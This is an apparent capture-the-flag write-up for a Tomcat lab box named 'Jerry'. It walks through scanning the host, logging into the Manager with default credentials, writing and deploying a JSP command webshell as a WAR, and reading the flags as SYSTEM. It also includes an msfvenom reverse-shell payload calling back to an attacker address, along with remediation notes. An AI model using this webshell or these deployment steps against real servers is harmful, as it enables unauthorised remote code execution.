Jerry
Summary
I found Apache Tomcat 7.0.88 exposed on port 8080, authenticated to the built-in Manager console with the factory-default credentials that ship with every Tomcat installation, uploaded a malicious Java web application containing a command-execution shell, and ran OS commands directly as NT AUTHORITY\SYSTEM — the over-privileged account Tomcat was configured to run under — capturing both flags without requiring any additional privilege-escalation step.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for tomcat>"Attack path — how the box was taken
Exact commands 1
Full TCP sweep with version detection and default scripts. Confirms only port 8080 is open.
$ nmap -sV -sC -Pn -p- --min-rate 5000 $TARGETExact commands 2
A 401 response confirms the Manager UI exists and is prompting for credentials.
$ curl -s -o /dev/null -w "%{http_code}" http://$TARGET:8080/manager/htmlAlso probe the text API endpoint used later for WAR deployment.
$ curl -s -o /dev/null -w "%{http_code}" http://$TARGET:8080/manager/text/listFixRemove or network-isolate the Tomcat Manager in productionHigh
Exact commands 2
A 200 OK response listing deployed apps confirms successful authentication with default credentials.
$ curl -s -u tomcat:$PASSWORD http://$TARGET:8080/manager/text/listAlternative: use netexec to spray documented default Tomcat credential pairs at scale.
$ nxc http $TARGET -u tomcat -p $PASSWORD --path /manager/htmlFixReplace default Tomcat credentials and enforce a strong access policy on the ManagerCritical
Exact commands 3
Write a minimal JSP shell that passes the 'cmd' parameter to cmd.exe /c.
$ printf '<%@ page import="java.io.*" %><%String c=request.getParameter("cmd");String[] a={"cmd.exe","/c",c};Process p=Runtime.getRuntime().exec(a);BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=r.readLine())!=null)out.println(l);%>' > /tmp/cmd.jspPackage the JSP into a deployable WAR archive.
$ mkdir -p /tmp/cmdwar && cp /tmp/cmd.jsp /tmp/cmdwar/ && cd /tmp/cmdwar && jar -cvf /tmp/cmd.war .Alternative: msfvenom produces a WAR with a reverse shell if an interactive shell is preferred over a webshell.
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f war -o /tmp/rev.warExact commands 1
Deploy the WAR. Tomcat responds 'OK - Deployed application at context path [/cmd]' on success.
$ curl -s -u tomcat:$PASSWORD -T /tmp/cmd.war "http://$TARGET:8080/manager/text/deploy?path=/cmd&update=true"Exact commands 2
Returns 'nt authority\system' and 'JERRY', confirming SYSTEM-level execution.
$ curl -s "http://$TARGET:8080/cmd/cmd.jsp?cmd=whoami%20%26%20hostname"
nt authority\systemList Administrator's desktop to locate flag files.
$ curl -s "http://$TARGET:8080/cmd/cmd.jsp?cmd=dir+C%3A%5CUsers%5CAdministrator%5CDesktop%5C"FixRun Apache Tomcat as a dedicated least-privilege service accountCritical
Exact commands 1
Returns the combined flags file. User flag = <user.txt>, root flag = <root.txt>.
$ curl -s "http://$TARGET:8080/cmd/cmd.jsp?cmd=type+C%3A%5CUsers%5CAdministrator%5CDesktop%5Cflags%5C2+for+the+price+of+1.txt"Attack patterns used
The transferable techniques behind this compromise.
Tomcat Manager WAR DeployWeb · Service RCET1190
What it is
Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, an unauthorised user uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.
Why it works
The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.
Read more
Exposed services
| 8080/tcp | http Apache Tomcat/Coyote JSP engine 1.1 |